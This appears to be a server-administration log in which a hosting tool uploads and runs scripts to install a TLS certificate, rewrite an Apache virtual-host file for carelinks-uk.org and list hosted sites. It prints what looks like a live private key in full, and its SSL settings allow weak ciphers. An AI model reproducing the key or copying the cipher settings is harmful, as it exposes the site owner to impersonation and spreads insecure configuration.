2ewg9vhpgzEPAAQPc5Eq/e6K/fsIBIetxljVnlFaKLutUy4OB94IiopVIGxNIDRO
iJ1i7JPWdPzM2ux22z0md5xppxp51K88/0ecbPwsWSXw9CIGKXHmEilDrroByjyn
7vxsQVLwYat7f5T/sSakhlZOwqXhuN9NTjpC8dePT5Hq7Fju9YAb6hGOmJW/hpJs
msYs4m9yPY6c7nWejEN91yj/lJfWlnT4Wql3Sx6kk4yTT/+ogNf8bvzVK+aOaiQX
jMYYIaWQPn80TOJeyprx5D1K8D/OEmc4Y5dTHIW6nxSx6Kwvr6mWnHO4/AwZtO2C
Vj4VOr0jAgMBAAECggEAciY6+MjO/Del5hY4vHOkx68yA4YcNJKWihJDC9Pprxr0
Y97FiViwD+z/MWKOu0mYeZ89mjh/81tpLTxwpbSlLmpWHhAtDzsQIFIXpYB3sFpA
K7zfUoqC+gA2G37Ne9zRvTaJ2/+O8XMRUEO4Eb/a0s6jqBA6g598fOv7CVeWjmBP
JqGljP8sgg/CBN2NNvGT5hyTL61huY6OpMN5a8EATpxricXvn9M0IeHLM9QapF9k
WKQsa0KuHS/bxaN2rZmL1KbO3EQeGI7//yewFiWOrMePwKsLHTrsfKgwA+I81PFZ
FA6j2wYP+YtGqIWypt5J6DW+c1x6o6srNCY9TPFjKQKBgQDiHfd0gH7H9mYJtjOi
mh00mKeGM898LrUjVAG/Ze3lygRBEH3r7gHbjSUyxSaO7AFH49qAAdHrisnjMX4r
gd1KETv5lNkEquh7jn351s/KPC/j7ZfuRIBvpc/6l987p41kydRGQs9Sw9nSDW0G
WIXdBOXTsxhtYyqBUYbHCbu0VQKBgQDARQpCCJnca5xHsICD3KjbZ+uOkSAE8nFk
kdddYkICfyxiGkDpJlntW+BHT81zQdjhjekL7C7qYIfXaWP9lJKci4WPsjAC+CXu
3VZUXbF8MWnlPLTfmSu5f/iv6GKQZyFTXZMZtK9Bb83XuAlUcSw5SW1E6RmCbwaz
fUxPSCzjlwKBgQDa5G2P73BL/UCMOEDGMPEC4KCT7wX1znV17LYAZhklsSnrHp73
zSEpO/r9qhMImnkm8fGsp5Zisal88YWVcpMZR5PKqYho11ZVffx/5q6itR8bQ/8n
HlNDQb4TdgAZjLr5DdUb60MueQAdMvgPA5Ua/8nI5YBJLI2SQKz7c3WtPQKBgFZ2
tcY8V/Tn77/Nf/3MnaMNeMEEQoH3BUdUzqUQKt80kaEMbWRr+sTjLFjlal8KnZ3R
U5wo+nAsOOqGWpEO31/G3qlgWHb9YRGqN8h42fgfwJ92TWDAYQlqo0t4FdsahcIX
sq88shObU9ZOzONMgbbBboIu0Wn2w+yzzD1bF9TBAoGBAJWlUAL9ka5st/XKcyt2
iL1yPP3cEvzz4gqcpku0TdnjF4rmCfYKD4OOsPWWGYWtDFObXIfpY8u4ClqG748g
zT+Hb1y0BI6AhobiIIo1p2TW570twGDy7w7wKPW1oO+6eDhYzXeMhrkL8cAIHDWJ
pbNQFr/1CUxIl63AS4WUmJ1X
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:01:08: 

chmod 755 /tmp/pkp432869; /tmp/pkp432869; rm /tmp/pkp432869

2025-11-10 06:01:08: 


dir=/etc/ssl/certs


2025-11-10 06:01:08: 

PUT: /tmp/pkp315354

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:01:08: 

chmod 755 /tmp/pkp315354; /tmp/pkp315354; rm /tmp/pkp315354

2025-11-10 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:01:08: 

PUT: /tmp/pkp176381

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi


2025-11-10 06:01:08: 

chmod 755 /tmp/pkp176381; /tmp/pkp176381; rm /tmp/pkp176381

2025-11-10 06:01:08: 




2025-11-10 06:01:08: 

PUT: /tmp/pkp802556

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:01:08: 

chmod 755 /tmp/pkp802556; /tmp/pkp802556; rm /tmp/pkp802556

2025-11-10 06:01:08: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:01:08: Establishing a connection
2025-11-10 06:01:08: 

PUT: /tmp/pkp395314

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:01:08: 

chmod 755 /tmp/pkp395314; /tmp/pkp395314; rm /tmp/pkp395314

2025-11-10 06:01:08: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:01:08: 

PUT: /tmp/pkp946957

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:01:08: 

chmod 755 /tmp/pkp946957; /tmp/pkp946957; rm /tmp/pkp946957

2025-11-10 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf	1415

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:01:08: 

PUT: /tmp/pkp614986

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:01:08: 

chmod 755 /tmp/pkp614986; /tmp/pkp614986; rm /tmp/pkp614986

2025-11-10 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt	5382
71:2a:e8:8a:37:6e:70:c3:7f:b5:28:8c:42:0d:5e:1d

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBjU8/WDMLyEjm0Ra0fBMlkqvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjM3WhcNMjYwMjA4MDUwMjM2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAqdN0upHC54gcTNnsIPb4aYMxDwAED3ORKv3uiv37CASHrcZY1Z5RWii7rVMu
DgfeCIqKVSBsTSA0ToidYuyT1nT8zNrsdts9JnecaacaedSvPP9HnGz8LFkl8PQi
Bilx5hIpQ666Aco8p+78bEFS8GGre3+U/7EmpIZWTsKl4bjfTU46QvHXj0+R6uxY
7vWAG+oRjpiVv4aSbJrGLOJvcj2OnO51noxDfdco/5SX1pZ0+Fqpd0sepJOMk0//
qIDX/G781SvmjmokF4zGGCGlkD5/NEziXsqa8eQ9SvA/zhJnOGOXUxyFup8Useis
L6+plpxzuPwMGbTtglY+FTq9IwIDAQABo4ICNzCCAjMwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBROzjmPRHJJSZkRDIBGg+buVKUURTAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDguY3JsMIIBBQYK
KwYBBAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp
6ynd+MMAAAGabFqWZQAABAMASDBGAiEAse8s6YLzYawtH9DSzkz2tVwR8WDPH6jS
n2EI/nQ/fBkCIQC9ZDcgaAHjJOuut1y3KklxUJXI1bybszUMNd7GSlTCsAB2AMs4
9xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxalpIAAAQDAEcwRQIg
RfpPyVKmpDg1nrDFJ0rFTskrG4G0nirwre9X/2mygB0CIQD+1FwBjPXP/chFDIbb
Ygqe1iqf4R7VPHQbwKfUJHDj3zANBgkqhkiG9w0BAQsFAAOCAQEAzXKRAv9IaB01
fR+jFpCeRjc5wp9K9zJbxDwQ45zc65PCRxvQSDArgs6aFcomdLr3Ud6igk5HU22X
2bHIEgPgMoMDLEQcLsBscVPscPRBWz7hzHutV8FDXuMf6vkkoW3hDtMDtrRfeT93
6DSuF9Nkgv1XwYFKqwF/P9HIb7YD5qKSZLmIBLZNdaoZZM5PC+SGOQAm/Jydhu5e
/yhzIC59hYKLYi9GOt5eL4pOaIYI+s/cvjsSXvVA/jjHFEK51qf4p8qw11TNhymS
cknPUW0gOG3K0xVBJEgGUkhY+iqa/yXVzbrob8AAkc/J3X2ER/eRk1CmCN9CP2H6
Fz4pjOATKg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp03S6kcLniBxM
2ewg9vhpgzEPAAQPc5Eq/e6K/fsIBIetxljVnlFaKLutUy4OB94IiopVIGxNIDRO
iJ1i7JPWdPzM2ux22z0md5xppxp51K88/0ecbPwsWSXw9CIGKXHmEilDrroByjyn
7vxsQVLwYat7f5T/sSakhlZOwqXhuN9NTjpC8dePT5Hq7Fju9YAb6hGOmJW/hpJs
msYs4m9yPY6c7nWejEN91yj/lJfWlnT4Wql3Sx6kk4yTT/+ogNf8bvzVK+aOaiQX
jMYYIaWQPn80TOJeyprx5D1K8D/OEmc4Y5dTHIW6nxSx6Kwvr6mWnHO4/AwZtO2C
Vj4VOr0jAgMBAAECggEAciY6+MjO/Del5hY4vHOkx68yA4YcNJKWihJDC9Pprxr0
Y97FiViwD+z/MWKOu0mYeZ89mjh/81tpLTxwpbSlLmpWHhAtDzsQIFIXpYB3sFpA
K7zfUoqC+gA2G37Ne9zRvTaJ2/+O8XMRUEO4Eb/a0s6jqBA6g598fOv7CVeWjmBP
JqGljP8sgg/CBN2NNvGT5hyTL61huY6OpMN5a8EATpxricXvn9M0IeHLM9QapF9k
WKQsa0KuHS/bxaN2rZmL1KbO3EQeGI7//yewFiWOrMePwKsLHTrsfKgwA+I81PFZ
FA6j2wYP+YtGqIWypt5J6DW+c1x6o6srNCY9TPFjKQKBgQDiHfd0gH7H9mYJtjOi
mh00mKeGM898LrUjVAG/Ze3lygRBEH3r7gHbjSUyxSaO7AFH49qAAdHrisnjMX4r
gd1KETv5lNkEquh7jn351s/KPC/j7ZfuRIBvpc/6l987p41kydRGQs9Sw9nSDW0G
WIXdBOXTsxhtYyqBUYbHCbu0VQKBgQDARQpCCJnca5xHsICD3KjbZ+uOkSAE8nFk
kdddYkICfyxiGkDpJlntW+BHT81zQdjhjekL7C7qYIfXaWP9lJKci4WPsjAC+CXu
3VZUXbF8MWnlPLTfmSu5f/iv6GKQZyFTXZMZtK9Bb83XuAlUcSw5SW1E6RmCbwaz
